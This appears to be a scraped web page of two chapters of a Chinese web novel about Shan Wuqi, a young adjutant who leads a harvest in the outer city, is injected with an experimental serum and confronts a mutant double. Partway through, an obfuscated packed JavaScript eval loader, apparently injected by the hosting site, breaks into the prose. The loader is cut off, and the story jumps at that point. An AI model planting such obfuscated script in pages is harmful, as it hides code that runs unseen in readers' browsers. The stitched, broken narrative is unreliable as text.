几个老人在田里拾捡麦穗,单无绮几番劝说无果,留下明亮的马灯,摸黑回到自己的小房子。 路过屋外的晾衣架时,单无绮下意识看了一眼。 ——她的衣服又被偷了,包括内衣和内裤,第三次。 单无绮知道,这个贼绝不是萨摩,即使她早已明白萨摩的心迹。 她推门而入,发现萨摩竟然在屋里。 单无绮日程匆忙,没有时间打扫屋子。 但明亮的月光下,屋子变得一尘不染。 萨摩蜷坐在地上,脑袋虚虚地挨着小床的边缘,一只布满老茧的手,小心地攥着被子的一角。 他睡着了,也许极累,也许极困,也许二者兼有。 单无绮怜惜地笑了一下。 她拍拍萨摩的脑袋,发现对方的眼睫颤抖了一下,却没有醒来。 单无绮沉默一瞬,没有戳破萨摩拙劣的表演。 她把萨摩从地上搬到床上,又抖开被子盖在萨摩身上,轻柔地掖好被角。 月光如水,单无绮坐在床边,无声地拆开首长的信—— 致我的副官: 二代血清面世,研究所党员皆已接受注射。他们中的一部分已经入殓,名字齐齐刻在一块巨大的墓碑上。 他们都是人类的英雄,无论生者或死者。 丰收月已经到来,即使无法亲眼目睹,我也闻到了麦穗香甜的气息。 我由衷地感谢上帝,感谢祂让最美最善的天使来到人间。 你何时会凯旋呢?我的副官。待你归来,请你抽空陪我去一趟墓园,为那些死去的英雄献上一束鲜花。 ——你的,老大哥 单无绮低垂眉眼,目光凝聚在“二代血清”一词上。 外城只是宏大苦难的预兆,真正的苦难尚未降临。 人类的面前摆着两条绝路,这两条绝路皆由神明指定,无论选择哪一条,都注定难逃一死。 二代血清…… 单无绮抬起眼眸。 如果二代血清真的有效,那么,人类便可以走上第三条道路了。 70. 单无绮的往事(十一) “我知道他们偷偷搭了个高台。”单无绮说。 丰收月,庄稼收获,新鲜的麦子做成麦饭,盛在碗里,被单无绮一口口怜惜而缓慢地吃进嘴里。 单无绮忙得要命,尤其在最忙碌的丰收月,只有在吃饭的时候,她才能和萨摩说上几句话。 见单无绮主动提起这个话题,萨摩松了口气,因为他引导话题的功夫着实不算好。 萨摩问:“你怎么看?” “怎么看?”单无绮咽下麦饭,低低地笑了一声,“外城人大概是恨极了我吧——我抽了他们那么多鞭子,如今,就算他们把我绑到台子上去,我也认了。” 萨摩沉默。 他很想对单无绮说,外城人不仅不恨你,相反十分爱你,程度不亚于你爱他们,以及这片多灾多难的土地。 但…… 萨摩呼出一口气,匆忙把碗里的麦饭刨进肚子里。 他答应要为外城人保守秘密,说谎不是他的强项,再多说两句,聪慧如单无绮,一定能从他的微表情察觉到什么。 白天在一片火热的忙碌中度过。 黑夜降临。 待所有人睡下,单无绮拿起墙角的马灯,披上外套,在微醺的夜风中开启今日的巡逻。 这是单无绮的习惯。 整整半年,单无绮从来没有睡过一次整觉。 一开始,拓荒团队和外城还没有完成磨合,而外城人也没有习惯集体作业,因而,戴文的拓荒计划时常搁置、调整。 单无绮不得不牺牲睡眠时间,补上机动位,在需要她的地方行走、忙碌。 但是,随着生产工作步入正轨,单无绮有了失眠的毛病。 她的精神极其疲倦,但她一整夜都无法合眼。许多时候,她都会习惯性地拎着马灯,在月光或雨水下,用双脚丈量整个外城,宛如一个孤独的幽灵。 这个习惯一直延续到今夜。 今夜,单无绮依然无眠。 她拎着马灯,安静地走到田地边。 麦子已经丰收,新一轮种子亟待种下,许多金灿灿的麦穗掉落在地上,仿佛落了一地暖洋洋的太阳。 单无绮记得,丰收的第一个夜晚,几个老人在田里拾捡麦穗。 她低着头,看着田里的麦穗。 ——即使丰收,但并非所有外城人都能填饱肚子。 ——那些老人还在挨饿吗? 如此想着,单无绮放下马灯,把前摆简单兜起来,弯下腰,仔细地拾捡地里的麦穗。 单无绮边捡边走,越走越远。 夜风吹拂田里的麦梗,发出窸窣的响声。 不知不觉,单无绮捡了许多,也走了很远。 她看着兜起的衣摆里,装得满满当当的麦穗,露出一个发自内心的笑容。 呼! 许多个火把点亮了。 单无绮惊愕地抬起头。 漆黑的夜晚,伸手不见五指,连月光都隐匿在云层之后,外城人举着火把,将中心的单无绮团团包围。 明亮的火光在一张张黝黑的脸上跳动,神色晦暗不清。 单无绮双手兜着衣摆,沉默不语。 要来了吗?她安静地想道。 外城人没有说一句话,他们无声地向单无绮靠拢,嘴角绷得紧紧的。 单无绮低头看衣摆里的麦穗,下意识把麦穗往怀里拢了拢,然后,她顺从地跟随外城人的引导,向外城的大广场走去。 那里有一尊筑墙者的雕像,以及一个正在搭建的、简陋的高台。 白天,单无绮本应经过那里,但几个外城小伙铆足了劲把她往别处引。 她知道外城人有一个不想让她知道的秘密,于是,她顺势装聋作哑。 如今,审判之时已经来临。 单无绮被人们团团簇拥,目光扫过身边每一张熟悉的脸庞。 她记得自己的严厉和不近人情,她记得自己猎猎挥舞的长鞭。 她在外城出生,她在内城长大。 在外城人眼里,她是个内城人,在内城人眼里,她又是个外城人。 抵达高台后,单无绮周围的人嘴角愈发紧绷。 单无绮叹了口气,不等身边人催促,她自觉地抬起脚,走上了高台。 她的衣摆兜着麦穗,她的右手提着马灯。 台上没有木架和鞭子,单无绮感到意外。 她闭上眼,呼出一口气,道:“诸位,审判我吧。” 哗—— 单无绮话音刚落,人群瞬间哗然。 外城人眨巴眼睛,将疑惑的目光投向暗处的萨摩。萨摩抬起戴着白手套的手,做了一个单无绮式的、挥舞鞭子的动作。 惟妙惟肖,学得极像。 外城人茫然一瞬,继而顿悟,齐齐发出忍俊不禁的笑声。 见单无绮仍然闭着眼,一副等待审判的模样,人们心头一酸,对台上的少女大声道: “单副官!” “单副官!” “看这里,单副官!” 单无绮的眼睫颤了颤。 她犹豫片刻,迟疑地睁开眼睛。 在单无绮睁开眼的一瞬间,台下的人群顷刻间热闹喧天。 外城人簇拥在台下,围着一个被黑布罩住的巨大东西,见单无绮投来视线,外城人齐齐发出一声口号,合力掀开了罩在上面的黑布。 那里,是一大筐金灿灿的麦穗。 单无绮愣住了。 ……怎么会是麦穗? ……他们难道不恨她吗? “单副官!”见单无绮仍在走神,一个外城小伙咧开雪白的牙齿,朝单无绮热情地喊了一声。 单无绮下意识抬眸看去。 啪! 一捧麦穗砸上了单无绮的脸。 麦穗的重量极轻,长着毛茸茸的、尖长的麦芒。 那一捧麦穗仿佛一个善意的玩笑,给了单无绮一丝微小的痛意,并让她从神游的状态中抽离。 单无绮定睛看着面前那筐金灿灿的麦穗,蓝眼睛眨了一下,又眨了一下。 她还愣愣地兜着衣摆里的麦穗。 外城人不由得笑起来。 一双双或健壮、或苍老、或幼小的手臂伸进大筐,把麦穗一捧捧抛向台上的单无绮。 金黄的麦穗仿佛一场暖烘烘的雨,带着沙沙的响声,微微的刺痛,以及外城人爽朗的笑声,接二连三地砸上单无绮的身体。 单无绮大睁着眼睛,任由那些麦穗砸向她,一动不动,一躲不躲。 她恍惚地盯着台下的外城人。 单无绮是个孤儿,五岁时被梅捡走,从此和梅相依为命。 五年的流浪经历让她尝尽世间冷暖,而十一年的求学生涯,也仅仅让她滋生出一个机械的念头。 ——基地,不该是这个样子。 基地的种种丑态,单无绮都看在眼底,而恰巧梅已经深陷其中,于是单无绮留下,并决心改造这里。 单无绮从不觉得基地是她的家,她在这里,只是因为梅在这里。 但今天,单无绮突然觉得,她心中那个机械的念头,一瞬间鲜活了起来。 单无绮看向台下的一张张笑脸。 “单副官!”一个人道。 “单副官!”两个人道。 “单副官!”所有人道。 这就是基地吗?这就是外城吗?这就是苦难的人民吗? 明明那些麦穗只是轻轻地敲打在身上,为什么仿佛一道道鞭子抽打在她的心上? 单无绮怔怔地看着台下。 “你们为什么这么高兴?”单无绮在心中呐喊,“你们贫苦了几十上百年,基地对你们的亏欠,绝非一场丰收能够补偿——你们为什么这么高兴?” 但外城人的喜悦,甚至更上一层楼。 他们欢呼、雀跃、奔腾,仿佛庆祝着世上最盛大的节日。 不多时,筐里的麦穗抛完了。 单无绮所站的高台上,满满当当堆满了金黄的麦穗。 “单副官!”外城人簇拥在高台边缘。 他们站在台下,向台上的单无绮伸出一双双手臂。 单无绮下意识想要跳下高台,但那些手臂将单无绮高高举起,把她重新推回了高台上。 “单副官!”外城人七嘴八舌道,“单副官!” 戴文躲在暗处,双眼哭得泪汪汪。萨摩站在一旁,全程一声不吭。 萨摩安静地凝视台上的单无绮。 他从未见过这样的单无绮。 单无绮总是冷漠如冰,但此时此刻,她的表情像黄油一样融化了。 跳动的火光中,她的眼睛恍惚又失神,虽然看着眼前的人,却又像是透过他们,看着另一群人。 你的心里在想什么? 看着台上的单无绮,萨摩忍不住轻声呢喃。 这个问题,萨摩最终没有问出口。 第一个丰收月结束,紧接着就是第二轮播种、生产。 在冬天的第一片雪花飘落前,外城终于完成了粮食储备的最后一道工序。 小孩穿着新鞋,在逐渐结实的冻土上奔跑。 单无绮推开窗,看着从天空飘落的、纷扬的雪花,呵出一口薄薄的白气。 简陋的小屋子一尘不染,萨摩放下擦拭干净的水壶,倒上一杯热水,递给窗边沉思的单无绮。 “你在想什么?”萨摩问。 “我在想……第二年我该做什么。”单无绮接过水杯,盯着窗外的细雪,“我好像已经爱上这里了。” 萨摩盯着单无绮光洁的侧脸:“我也是。” 单无绮吹了口热水:“是因为梅不在这里吧?” 萨摩沉默。 “你每次见到梅,就像耗子见到猫。”单无绮的声音轻飘飘,却仿佛一记重锤,敲醒萨摩沉睡的心灵,“你是亨特家的小少爷,身份尊贵,而且,将来的你必然成为司长,和梅平起平坐……你为什么害怕他?” 萨摩的嘴唇蠕动了几下,没有说话。 “你喜欢我。”单无绮戳破窗户纸。 萨摩依然沉默。 单无绮转过身,看向身后的萨摩。 ——萨摩的脸上一片死寂,仿佛被神明宣判了死期。 “……你真的喜欢我。”单无绮的语气更加肯定了。 萨摩眼睛微微睁大。 他终于反应过来,单无绮刚才居然在诈他。 萨摩喉结滚动。 几秒后,他低下头:“师父……” “抬起头。”单无绮的声音仿佛从天外传来。 萨摩下意识照做。 他撞入了一双波光粼粼的蓝眼睛。 “我知道你的心意。”单无绮怜惜地看着萨摩,“但你太小了,你还只是个孩子,你生命中出现的女性绝不止我一人——当你遇到你的此生挚爱,你会明白,你现在的感情不过是对年长者的依赖。” 不是的!不是这样的! 萨摩想立刻反驳。 但单无绮的神色脆弱而悲哀,仿佛一个血淋淋的伤疤正在揭开。 萨摩忽地想起单无绮的身世。 ——她不知生父,连生母也将她抛弃,她和她的哥哥相依为命,她必然不可能相信爱情。 萨摩的睫毛微微颤动。 他低下头:“……我明白了。” 现在还不是时候。 他太年轻了,也太弱小了,他既没有政治资本,也没有社会地位,更没有被世人认可的财富与见识。他空有一个尊贵的姓氏,而这份尊贵来源于他的家族,却非他自己的拼搏。 单无绮松了一口气。 她说不清是如释重负,还是怅然若失。 总之,这不是一场令人愉悦的谈话,无论起因、经过和结果。 “把戴文叫来,我们一起商定明年的拓荒计划吧。”单无绮道,“等冬天一过,下一个春天又要忙碌起来了。” …… 不等第二个春天来临,单无绮离开了外城。 首长谕令,要求单无绮本人立刻返回内城。单无绮甚至来不及和萨摩等人告别,就跟着传令官返回了内城。 单无绮离开内城时,月台空无一人。 单无绮回到内城时,月台人满为患。 一下车,无数长枪短炮对准单无绮的脸,记者们高举着采访材料,对十七岁的单无绮发出一连串提问。 单无绮下意识以为,记者们想采访拓荒的事。 但记者的话让单无绮脸色一白。 记者问:“单副官,您真的打算成为下一任首长吗?” 单无绮强行按捺住内心的波澜,安抚好月台的记者,随后,马不停蹄地赶往中央大楼。 首长果然等在那里。 “我以为你会先去看望梅。”首长的眼神有一点诧异。 单无绮走进办公室,把门重重地一关。 她双手撑着桌面,凌厉地瞪视首长:“老大哥,你什么意思?” “字面意思。”首长的黑眸温和地看着单无绮,“无绮,我的副官,我打算卸任了。” 单无绮牢牢地盯着首长的脸。 首长安静地看着单无绮,目光描摹她削瘦了不少的脸庞,神色说不出是高兴还是悲伤。 良久,首长道:“无绮,还记得我们的约定吗?” 单无绮呼吸一滞。 她记得那份阅后即焚的文件,上面规划了那些冥顽不灵的老东西的死因,文件的最后一页是首长,其死因为—— 背叛人类,被新首长枪决。 一瞬间,单无绮的眼泪夺眶而出。 她忘记了所有的礼仪,一把抓住首长高高立起的衣领:“老大哥……为什么!” 首长的黑眸流露出一丝欣慰。 因为单无绮的动作,首长被迫微微仰起下巴。 在单无绮的注视下,首长抬起被长袖覆盖的手臂,伸出一根戴着手套的手指,轻轻地拨开了单无绮手下的衣领。 ——一道没有完全愈合的伤痕,狰狞地覆盖在喉结处。 单无绮倒吸一口凉气:“是谁干的?” “是我,我自杀了。”首长的话让单无绮瞳孔地震,“但如你所见,我复活了。” 单无绮怔怔地抓着首长的衣领。 几秒后,她松开首长的衣领,颤抖的指尖轻轻按上那处伤痕。 ——不是假的,是真的。 ——这样严重的伤势,已经足以致命。 首长盯着单无绮毛茸茸的发顶,吐息沉稳而克制:“你想知道原因吗?” 单无绮猛地抬起头。 首长没有立刻回答单无绮。 他带领单无绮来到研究所地底——那里,伊甸的主机房正在高负荷运转。 这是单无绮第一次来到这里,这也是单无绮第一次如此近距离地接触基地最大的秘密。 0和1组成绿色的萤海,伊甸向单无绮问好:“日安,单副官。” 首长问:“人类未来的结局,你计算出来了吗?” 伊甸:“已经计算出来了,首长。” “请说。” “人类注定毁灭,首长。”伊甸的机械女音带着一丝内疚,“当*盖娅*的目光投注向人类,祂必然毁灭视野里的一切造物——即使人类是祂创生的孩子。” 单无绮的脑子快炸了。 她谨慎地保持沉默,大脑疯狂运转。 首长的脸色冷峻了一瞬。 但随后,他对伊甸道:“我带来了一个变数。” 伊甸应了一声,滚烫的主机体发出刺耳的嗡鸣。它加大了算力,即将把“单无绮”这个变数加入程式,重新计算人类的未来。 首长道:“不必计算了,伊甸。” 伊甸问:“为什么?” “你的损耗率已经超过50%,珍贵的算力应该用在维持防护罩上。”首长低声道,“伊甸,我们必须赌一把了——为了人类的黎明。” 伊甸:“为了人类的黎明。” 单无绮抬起泪濛濛的双眼。 今天的信息量太大了,单无绮的脑子至今还在宕机,但她敏锐地察觉了一个言外之意。 ——首长会死,而且会作为她的垫脚石死去。 单无绮正要说什么,首长看向了她。 单无绮顿时失去了所有言语。 那双黑眸十分沉静,里面没有一丝对死亡的畏惧,也没有一丝对未来的迷茫。 他仿佛一个迷雾中的旅人,在长时间看不清前路的情况下,他只能保持体力,平稳地行走在迷雾中,无论迷雾尽头是新生还是死亡。 首长对单无绮,没有一句苦口婆心的游说或拉拢。 首长只问了一句话。 首长:“你的理想还长存吗?” 单无绮:“嗯,长存。” …… 二代血清研发完成,研究所全体党员都接受了注射,一部分党员已经死去,而另一部分党员,他们的生命也在加速燃烧。 近年来,研究所一直在广纳群贤。 这并非在创造冗官,而是……研究所党员牺牲了太多,因此,许多岗位就空缺了出来。 首长和单无绮来到墓园,齐齐仰视那块巨大的墓碑。 ——墓碑上刻满了名字,每一个名字,曾经都是一条鲜活的生命。 ——如今,他们沉睡在冰冷的泥土下,尸骨化为腐殖,和这片土地彻底融为了一体。 首长后退一步,单无绮放上花束。 花瓣在微风中摇曳,仿佛亡者的寄语。 “在他们的尸骨之上,研究所发明出了安全的二代血清,并注射到我的体内。”首长低声道,“如你所见,现在的我已经是一个异种。” “下一个就是我了。”单无绮道,“我也会注射二代血清。” “你不害怕吗?” “怕,但比起怕,我更加愤怒,而且好奇。”单无绮仰视墓碑上的一个个人名,其中的许多人,生前都是她的好友,“我想弄明白,为什么人类难逃一死?还有那个*盖娅*……祂到底是什么狗屁东西?” 首长温和地看着单无绮:“我能为你解答一部分。” 单无绮转过身,看向首长。 首长道:“大灾变之前,人类帝国极度辉煌,而他们的末帝,正是如今筑墙派的领袖。” 单无绮沉静地看着首长,没有说话。 “神明是真实存在的,而人类,也并非这个世界唯一存在过的智慧生物。”首长道,“人类帝国曾对神明展开研究,但遗留至今的书籍,皆是一些晦暗不明的隐语——根据那位末帝的说辞,对神明的一切窥视、探知甚至是祈祷,都是不被允许的,而那场毁灭了人类帝国的大灾变,正是源于旧人类的一次尝试。” 单无绮皱眉:“尝试?” “是的。”首长道,“*盖娅*创生人类,而人类触碰禁忌,创生了异种。因为人类沾染了神的权柄,因此,*盖娅*大怒,并毁灭了辉煌极盛的人类帝国——这也是那位末帝的说辞。” 单无绮的眉头皱得更深了。 她问道:“如果那位末帝在说谎呢?” “我不排除这个可能。”首长道,“但那位末帝和他幸存的臣子,为了从那场大灾变中存活,他们已经不再是人类了——说得直白一点,他们变成了异种。” 单无绮沉思良久。 她道:“所以你致力于研发血清。” “所以我致力于研发血清。”首长点头,“如你所见,伊甸撑起防护罩,隔绝了*盖娅*对人类的注视,但外面那些流浪的异种,它们都还活得好好的——如果变成异种能够躲过未来的大灾变,我愿称之为人类种族的第三条路。” 单无绮沉默。 她的大脑已经严重超负荷了。 “这些信息,我已经在伊甸那里备份,你不必全部记在心里。”首长怜恤地笑了一声,“但接下来,我需要你去做一件事情。” 单无绮:“什么事?” 首长:“离开基地,到墙外去,到异种的巢穴里去——我需要知道,异种为什么能躲过大灾变。” 单无绮凝眸:“现在吗?” “不,不是现在,无绮。你需要注射二代血清,这会让你变得强壮,拥有自保之力。”首长的话说到一半,又突然停下。 他偏过脑袋。 一枚子弹擦过他的耳朵,嵌进身后巨大的墓碑里。 首长回正脑袋,单无绮抬起头,越过首长的肩膀看向后方。 一个阴鸷的人影从暗处走出。 是梅。 …… 梅抓着单无绮的后领,像抓鸡崽一样把她抓回了家。 一进家门,单无绮挣脱束缚,对梅道:“你发什么疯?” “你发什么疯??”梅用十倍的音量吼了回去,“单无绮,你是不是翅膀硬了?那老东西的话你也敢全信?他分明是把你……” “我乐意。”单无绮冷静地答。 梅狠狠地倒吸一口凉气。 他看起来快要气得昏过去了。 单无绮坐在沙发上,梅站在门边,兄妹俩隔着一整个客厅的距离,火药味安静地酝酿、燃烧。 良久,梅走到单无绮身边。 单无绮下意识把两臂架在脸前,做出防御的姿态。 但一双冰冷而颤抖的手握上了单无绮的手,让单无绮两臂的力量松懈了一瞬。 梅拆开单无绮的双臂。 单无绮迎面撞入一双满含泪水的灰眸。 ——那双花瓣状的灰眸永远桀骜又孤高,但今日,它因为单无绮,里面噙满了无可化解的脆弱。 单无绮从没想过梅会哭。 单无绮冷峻的表情一下子融化了,从浑身长刺的小刺猬,变成了一只柔软的猫。 看着梅通红的眼眶,单无绮下意识伸出双手,想要为她的兄长擦去眼中的泪水。 咔! 一双手铐铐上了单无绮的手腕。 “你的卧室我还留着,我会把你拷在床上。”梅道。 单无绮在梅的手下挣扎,但梅的力气极大,单无绮是个女孩,又被铐住手腕,一时间竟然无法挣脱。 单无绮抬起狠厉的蓝眸:“你会后悔的!” “不,我不会后悔。”梅轻声道,“我只有你一个亲人了,如果眼看你去送死,我才会真的后悔。” …… 单无绮的失踪没有引起多少波澜。 首长的上一任是老首长,而老首长,那颗苍老的太阳已经上演过太多次傀儡把戏——他将一个又一个年轻人推举到台前,那些年轻的太阳还未东升,就死在了冰冷的永夜里。 年轻的单副官,也许就是首长的第一个傀儡。 怀揣着这样的念头,那些官员露出“果然如此”的微笑,将单无绮从他们的记忆中轻描淡写地抹去了。 首长坐在办公桌后:“萨摩。” “单无绮呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那副染血的手铐像针一样刺痛着梅的眼睛,让梅的心与灵魂,也一同痛苦地颤抖起来。 萨摩用力地咽了一下唾沫。 他做出了有史以来最勇的一个行为:“梅,你知道师父在哪儿吗?” 梅的眼刀剜上萨摩的脸。 萨摩脖颈一凉。 “研究所。”梅一字一顿,怒意横生,“那死丫头……一定在那里!” …… 清亮的血清注射进单无绮的身体,单无绮蜷缩在地,牙关紧闭,不受控制地发出一声声压抑的哀嚎。 首长:“柳法,她的存活率是多少?” “38%。”柳法有着烟雾般弥散的长发,他道,“首长,恕我直言,单无绮的智慧更加珍贵,如果她死了,对全人类都是巨大的损失。” “我们没有时间了。”首长道。 柳法沉默。 他俊俏的脸忧郁地看着隔离房里的单无绮。 突然,一阵吵闹声从外面传来。 梅毫不留情地打碎了伊甸设在门口的防护装置,顶着一群嗡嗡飞舞的机械护卫,像怪力的野兽一样闯了进来。 伊甸警告:“梅·亚历克谢同志,请您……” 砰! 梅一枪射爆了伊甸的发声装置。 柳法的表情出现了一瞬间的空白,但首长显然已经习惯了梅的作风。 首长甚至有空下令:“伊甸,增加一条备注:以后不要称呼梅的姓氏,那是他的逆鳞。” “再加一条。”梅道,“敢动单无绮的人,下场就和这玩意儿一样!” 砰! 梅开出第二枪。 飞舞的机械护卫冒着白烟,光荣陨落了。 柳法的右眼皮开始狂跳。 首长:“梅,你有何贵干?” “我妹妹呢?”梅下意识用“妹妹”称呼单无绮,很久之前,他就只用名字称呼对方了。 不等首长示意,梅眼尖地发现了单无绮。 他一下子扑到隔离房的玻璃上,双目通红。 单无绮浑身被狰狞的胶质体包裹。 她仿佛一枚会呼吸的琥珀,只是,琥珀里的小虫子永远停留在死亡前那静谧的一瞬,但单无绮仍然活着,并且还在痛苦地挣扎。 突然,单无绮发出支离破碎的哀嚎。 “……哥!”单无绮痛苦万分,“……哥!” “我在!”梅用力拍打玻璃,“妹妹,我在!” “只有你一个人来?”首长站在一旁,问道。 梅抬起通红的眼睛。 他冷戾地盯着首长,片刻后,发出一声轻蔑的嗤笑。 “萨摩也来了,但他现在……估计还老老实实地守在研究所门口吧。”梅道,“老东西,你真是好样的,单无绮算一个,萨摩算一个,都被你训成了听话的狗!” 柳法的右眼皮跳得更快了。 首长不置可否:“你谬赞了。” 梅深吸一口气。 他克制住朝那张黑胡子的脸上挥一拳的冲动,压着嗓子道:“我妹能活吗?” “难说。”首长答。 砰! 柳法的右眼皮已经跳得抽筋。 他强行绷住面无表情的脸,内心的小人疯狂尖叫。 梅对首长的脸大力出拳,首长抬起右手,宽大的手掌接住了梅的拳头。 首长竟然还没有生气:“梅,请你听我一言。” 梅咬牙切齿:“我只要你死!” “在场的每一个人,无一不希望单无绮活下来,但注射二代血清本就是逆天而行。”首长的语气十分平静,他似乎从不疯狂,“梅,我已经询问过单无绮的意见,她同意了。” “她才十七岁!”梅的声音沙哑而痛苦,“她……还没有成年。” 这一次,首长沉默了。 首长松开手掌,他默许梅的拳头打在自己的脸上。 但梅一瞬间苍老了十岁。 他失去了所有力气,失魂落魄地跌坐在地上,但他的眼睛依然牢牢地锁定在单无绮身上,生怕错过单无绮一丝一毫的变化。 接下来的每一分,每一秒,对梅都是残酷的煎熬。 单无绮的异化持续了三天,这三天,梅一直守在隔离房外。 萨摩进入研究所,他想换下梅,但梅没有同意。 “我要看着她。”梅说,“无论生,无论死。” 第三天,包裹单无绮的胶质体出现了一丝裂缝。 梅熬得皮浮眼肿,胡子拉碴,头发打结,失去了一切俊俏的轮廓。 但看到单无绮的变化,梅黯淡的眼睛一下子生动起来。 梅手忙脚乱地抓住旁边的人:“她是不是要醒了?” 萨摩被梅抓着袖口:“……我不知道。” 萨摩找来了柳法,柳法确认单无绮存活,又请来了首长。 四人屏住呼吸,安静地盯着隔离房里的单无绮。 咔嚓! 咔嚓! 咔嚓! 硬化的胶质体一点点裂开,犹如蝶的破蛹。单无绮一点点挣扎出来,在隔离房外众人期待的注视下,缓缓睁开了妖异的红眸。 “她的眼睛……”柳法欲言又止,止言又欲,“首长,您注射血清后,瞳色并未发生变化。” 萨摩的心一沉。 他看向梅,发现梅没有流露出一丝一毫的担忧或介意。 梅温柔地看着单无绮,犹如看着世间最珍贵的宝物,无论单无绮变成什么样子,她都是他的妹妹。 梅说:“我要进去。” 隔离房的门缓缓打开。 梅走了进去,浑身潦草,神色疲惫,但他的目光无比柔和,在场所有人,都从未见过梅如此柔和。 这个令四部闻风丧胆的杀人恶魔,此刻竟然温顺如羔羊。 梅朝红眸的单无绮伸出手:“妹妹,是我,你哥。” 单无绮的双手还残留着挣脱手铐的伤痕,梅看着那些伤痕,心头一颤。 他再次上前,拉近了和单无绮的距离。 萨摩突然高声道:“梅,小心!” 什么—— 梅下意识停顿下来。 单无绮睁着妖异的红眸,朝毫无防备的梅用力挥下尖利的手爪。 滴答—— 滴答—— 滴答—— 鲜血像细细的涓流,从梅的脸上接连淌下。 柳法脸色一变,打算启动隔离房里的麻痹装置,将危险的单无绮控制起来。 但首长按住了柳法的肩膀,黑眸沉沉地盯着里面的兄妹俩,眸底涌动着说不清的情绪。 单无绮抓伤了梅的右眼,那里血流如注,任由都能明白,那只眼睛已经废了。 但梅没有退缩,甚至没有愤怒。 他温柔地靠近单无绮,将失去理智的单无绮抱进怀里,就像十二年前,他第一次抱住流浪的小七一样。 “妹妹。”梅说,“我们回家。” 单无绮怔怔地依偎在梅的怀里。 那双闪动着妖异红光的眼睛,一点点恢复了澄净的湛蓝。 …… 单无绮失去了异化期间的记忆。 梅编织了一个谎言,他谎称自己的眼睛,是和单无绮争吵时不幸磕伤的。 单无绮陷入了无法自拔的内疚。 一头是理想,一头是血亲,十七岁的单无绮陷入两难境地。 单无绮是毋庸置疑的天才,但天才也会有烦恼,而且,因为其超脱凡人的理智,她更会陷入无休止的挣扎。 首长坐在单无绮的病床前:“你还欢迎我吗?” “当然。”单无绮的声音十分疲倦,还有一丝难以掩饰的脆弱,“首长,我是你的副官。” “你已经不叫我老大哥了。”首长道。 单无绮沉默。 “理想的高台总是尸骨累累,追逐理想的过程中,连科学都会散发出残忍的光芒。”首长低声道,“无绮,你已经注射血清,但你现在回头,还来得及。” “让我想想。”单无绮道。 首长离开了。 单无绮从医院溜了出来,用新生的触手,笨拙地爬到城墙上。 夜风微凉,吹拂单无绮许久没有打理的长发。 她坐在城墙边缘,安静地盯着墙内和墙外。 墙内,人类沉浸在乌托邦的美梦里,但世上没有任何东西可以长青,理想沾染上现实,就会扭曲成吞噬一切的怪物。 墙外,异种隐遁于大灾变的废土中,它们是帝国旧人类创生的异种,人类妄图染指神明的权柄,但到头来,竟是它们享用辽阔的天地。 这个世界是一个谜。 她降生到这个世界上,并非为了背负未经她同意便附加在她身上的种种期许。 她是自由的。 单无绮在墙上坐了一夜,伊甸也监控了单无绮一夜。 第二天清晨,单无绮来到首长的办公室。 首长亦坐等了一夜。 见单无绮踏着晨光而来,首长抬起头。 首长:“你的理想还长存吗?” 单无绮:“嗯,长存。” 71. 三问 记忆归位,单无绮的双眸一阵恍惚。 她看着面前的异种。 “你被放逐后,我捡到了你,我们曾有一段融洽的相处时光。”有着单无绮相貌的异种发出诡异的笑声,“但你又做了什么呢?你口口声声说不再爱人类,但你抛弃了我,孑然一身地回到那吃人的基地去!” 上空,防护罩发出一阵阵异常的嗡鸣声。 伊甸的生命即将走到尽头,没人知道这庇佑了人类三百余年的屏障,会在何时破碎。 单无绮定下心神:“你来基地是为了什么?” 异种发出一声轻笑:“为了一个交易。” “一个交易?” “我们是那已覆灭的帝国创生的实验体,而帝国的末帝还未死去,在我们的记忆中,他仍是我们无上的王。”异种沙哑地道,“你们和我们并无不同,我们都是他的子民。” 单无绮心头生出不妙的预感:“末帝和你的交易是什么?” “防护罩之内,内城归人类,外城归异种。”异种湛蓝的眼睛倒映出单无绮的脸。 这一刻,它没有展露出任何攻击性,沉浸在蜜糖一样的未来里:“我们……已经在废土上流浪了三百余年,从今天起,我们也是被庇护的孩子了。” 外城…… 外城…… 单无绮起身。 灌输记忆的后遗症让她头晕目眩,手脚发软,但她依然强撑起力气,向后方的基地看去。 她记得流放前,那艰苦卓绝却充满希望的拓荒年。 她也记得流放后,首长向筑墙派暂时妥协,发动了第一次、第二次,乃至第三次人类筛选计划。 留在外城的人比从前贫苦十倍,最饥饿的日子里,他们甚至把田里的种子都刨出来吃掉。 而同一时期,内城人的生活愈发优越,餐桌上的每一片面包都涂满了黄油。 一开始,当单无绮从首长口中听到这个消息时,她只觉得基地长满了烂疮。 她绝望,她愤怒,但她隐隐觉得,只要自己坐上那个极高的位子,一切都可以从头再来。 可如今,异种的话直指一个真相。 ——这是人类内部的又一次筛选。 ——那位从帝国时代苟活至今的末帝,内心天然将人类分为上下两等。 ——只有上等人有资格活着,而下等人,在压榨完他们的一切汗水和劳动后,他们连尸骨都不配留存。 异种失去了和单无绮解释的耐心。 它轻蔑而怜悯地瞥了单无绮一眼,指挥身边汇集的异种,浩浩荡荡地向城墙走去。 突然,一只生长着锋利鳞片的触手拦住了异种。 异种回头。 不知何时,单无绮的身体已经覆满鳞片,无数狰狞的触手在她的周围飞舞,宛如狂怒的蛇群。 “……你休想踏入基地。”单无绮双目淬血,湛蓝的眼眸隐隐开始泛红,“除非——从我的尸体上踏过去!” …… 研究所地底。 伊甸主机体严重过载,地下空气滚烫如液态熔岩。 末帝非人的脸庞熏烤出妖异的黑色纹路,但他仿佛感受不到一丝热意,生长着鳞片的手依然放在伊甸的操作台上。 他修改着伊甸的代码,但他并非研究员出身,有些一筹莫展。 伊甸发出不连贯的机械女音:“……滋滋,陛下……请您停手……” “你的损毁率,已经超过90%了吧?”末帝手下不停,玩味地问道。 伊甸沉默。 “你快死了。”末帝的视线没有一丝游移。 在他的计划中,伊甸只是一颗拦路的小石子:“新人类给了你‘伊甸’这个名字,但在帝国时代,你不过只是一个废弃垃圾场的AI,大灾变没有毁掉你的主机,你便从地面卑微的清道夫,一跃成为天上伟大的庇护者。” 伊甸继续沉默。 “你的系统太落后了,让你自毁,居然还要手动输入密钥——我毁灭你,还要经过你的同意,这令我感到苦恼。”末帝的手在操作台上流连。 他已经尝试了许多个密钥,但都以失败告终。 伊甸仍在沉默。 